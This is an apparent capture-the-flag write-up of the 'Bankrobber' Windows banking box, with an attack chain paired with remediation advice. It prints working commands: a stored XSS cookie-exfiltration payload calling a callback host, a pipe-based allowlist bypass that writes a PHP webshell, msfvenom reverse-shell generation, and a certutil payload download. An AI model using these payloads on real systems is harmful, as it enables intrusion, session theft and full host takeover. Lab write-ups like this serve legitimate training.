Bankrobber
Summary
I probed a Windows banking application running Apache 2.4.39 with PHP 7.3.4 and discovered that client-side JavaScript openly disclosed both a transfer comment field that rendered input without sanitization and a localhost-only command-execution endpoint at /admin/backdoorchecker.php.
A stored cross-site scripting payload injected into a transfer comment fired in the reviewing administrator's browser, exfiltrating the non-HttpOnly admin session cookie and simultaneously issuing a same-origin authenticated POST to the backdoor — satisfying its localhost restriction.
The backdoor's command allowlist was bypassed with a shell pipe, enabling a file-write that planted a PHP webshell under the web root, giving remote code execution as the Windows user Cortin.
From that foothold, an internal TCP/910 service was identified that gated a transfer-processing binary behind a four-digit PIN; the small PIN space was brute-forced in seconds, and a buffer overflow in the amount-processing handler — caused by copying the caller-supplied input into a fixed-size path variable without bounds checking — redirected execution to an staged binary running as SYSTEM, fully compromising the host.
Attack path — how the box was taken
Fingerprinted exposed services and identified the banking web application, then Read client-side JavaScript to map the XSS sink and the backdoor interface, then Registered an account and injected a stored XSS payload into a transfer comment, then Captured the admin session and authenticated directly to the admin panel, then Bypassed the backdoor command allowlist via shell pipe and deployed a PHP webshell, then Discovered an internal-only TCP/910 service via netstat from the Cortin webshell, then Brute-forced the four-digit PIN gate on TCP/910, then Overflowed the transfer-amount buffer to redirect execution and obtain a SYSTEM shell.
Exact commands 2
nmap -sV -sC -p 80,443,445,3306 $TARGETcurl -sSk -i http://$TARGET/Exact commands 2
curl -sSk http://$TARGET/js/transfer.jscurl -sSk http://$TARGET/js/system.jsExact commands 2
python3 -u -m http.server 8000 --bind 0.0.0.0curl -sS -b cookies.jar -c cookies.jar -X POST http://$TARGET/user/transfer.php -d 'fromId=3&toId=1&amount=1' --data-urlencode "comment=<script>document.location="http://$CALLBACK_HOST:8000/?"+document.cookie</script>"Exact commands 1
curl -sSk -b adm.jar http://$TARGET/admin/Exact commands 2
curl -sS -b cookies.jar -c cookies.jar -X POST http://$TARGET/user/transfer.php -d 'fromId=3&toId=1&amount=1' --data-urlencode 'comment=<script>fetch("/admin/backdoorchecker.php",{method:"POST",credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"cmd=dir|echo+%3C%3Fphp+system(%24_GET[%27cmd%27])%3B+%3F%3E+>+C:\\xampp\\htdocs\\phpmyadmin\\cx0713.php"})</script>'curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=whoami'Exact commands 1
curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=netstat -ano | findstr :910'Exact commands 2
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$CALLBACK_HOST LPORT=4444 -f exe -o shell.execurl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode "cmd=certutil -urlcache -split -f http://$CALLBACK_HOST:8000/shell.exe C:\Windows\Temp\shell.exe"Attack patterns used
The transferable techniques behind the compromise.
Client-side information disclosureEnumerationT1592
What it is
The application's transfer.js and system.js scripts were fetched without authentication. transfer.js revealed that the transfer comment field is rendered client-side without any output encoding — a stored XSS sink. system.js disclosed the exact POST structure of /admin/backdoorchecker.php including the cmd parameter name, giving me everything needed to craft a payload that chains the XSS delivery into a same-origin authenticated command execution.
Why it works
Move all references to server-side API paths and privileged interfaces into server-side code. Client-side JavaScript should only call documented, public-facing endpoints. Conduct a periodic review of all JS files served publicly to remove internal route disclosures and implementation details.
Stored Cross-Site ScriptingExploitationT1059.007
What it is
A throwaway account was registered via /register.php and a fund transfer was submitted with a JavaScript payload in the comment field. The payload was designed to fire when the reviewing administrator's browser rendered the pending transaction from 127.0.0.1: it exfiltrated the admin's non-HttpOnly session cookies to a user-controlled listener and simultaneously issued a same-origin authenticated POST to /admin/backdoorchecker.php — satisfying the localhost restriction because the browser ran on the server itself. I then waited approximately 45–50 seconds for the admin review cycle to trigger the payload.
Why it works
Apply htmlspecialchars() (ENT_QUOTES) to every user-supplied field before inserting it into HTML output. Add a Content-Security-Policy response header restricting script-src to 'self' to block inline execution even if a payload lands. Audit all other user-facing fields for the same pattern.
Session hijacking via XSS / credential authenticationExploitationT1539
What it is
The XSS beacon delivered the administrator's session cookie to the listener. Additionally, admin credentials admin:[REDACTED: recovered credential] were confirmed valid against /login.php, returning base64-encoded id, username, and password cookies and granting direct access to the /admin/ panel, notes.txt, and the user-search and transaction interfaces. This confirmed admin-level control of the application and provided the authenticated session required to directly call the backdoor.
Why it works
Set session.cookie_httponly = 1 in php.ini (or per-cookie via setcookie's httponly parameter) so cookies are never accessible to JavaScript. Require admin passwords of at least 16 characters with complexity requirements and consider adding multi-factor authentication to the /admin/ login. Rotate the current admin password immediately.
Command allowlist bypass via shell pipe / web shell deploymentExploitationT1505.003
What it is
The stored XSS payload was extended to issue a same-origin authenticated POST to /admin/backdoorchecker.php with a piped command (cmd=dir|<write command>), bypassing the endpoint's command allowlist entirely — the pipe caused the Windows shell to interpret everything after | as a new command, not as an argument to be allowed. The pipe payload wrote a PHP webshell into the PhpMyAdmin web-accessible directory. Requesting the planted file (cx0713.php) over HTTP gave persistent, unauthenticated remote code execution as the Apache service account, Windows user Cortin.
Why it works
Delete /admin/backdoorchecker.php. If a legitimate server-administration interface is required, replace it with a dedicated, strongly authenticated API that accepts a strict whitelist of safe, parameterized operations with no shell passthrough, runs under a least-privileged dedicated service account, and is protected by server-level network ACLs rather than a client-supplied IP address check.
Online brute-force of a weak numeric PINPrivilege EscalationT1110.001
What it is
Connecting to TCP/910 presented a numeric PIN prompt before accepting any commands. With only 10,000 possible four-digit values, the full space was exhausted in seconds. PIN 0021 was accepted, unlocking the transfer-amount processing stage of the service.
Why it works
Replace the PIN with a cryptographically strong shared secret (minimum 128-bit entropy) or mutual TLS client certificate. Implement a lockout policy after five failed attempts with an exponential back-off delay. Bind the service to 127.0.0.1 and ensure it is only reachable by the specific local processes that require it.
Buffer overflow — executable path overwritePrivilege EscalationT1203
What it is
After PIN authentication, TCP/910 prompted for a transfer amount and passed it into a fixed-size executable path buffer without bounds checking. Sending 32 bytes of padding (A×32) followed by a user-controlled executable path overwrote the path variable, redirecting the service to run my staged binary. Because the service ran as SYSTEM, the payload executed with full OS privileges, producing a SYSTEM reverse shell and completing the host compromise.
Why it works
Rewrite the amount-handling code to validate that input is a numeric value within the expected range before use. Replace unsafe C string functions (strcpy, sprintf) with bounded alternatives (strncpy with explicit null-termination, snprintf). Run the service under a dedicated, non-privileged Windows service account with only the permissions it needs — never as SYSTEM or LocalSystem. Apply address-space layout randomisation (ASLR) and data execution prevention (DEP) build flags to the binary.
Findings
Exposed services
| External surface | A port sweep revealed Apache 2.4.39 (Win64) with PHP 7.3.4 on ports 80 and 443, SMB on 445, and MariaDB on 3306. Browsing the web root confirmed a Bankrobber-style banking application with registration, login, user, and admin routes. A direct request to /admin/backdoorchecker.php returned an authorization error for external callers, signalling a localhost-only restriction worth investigating. |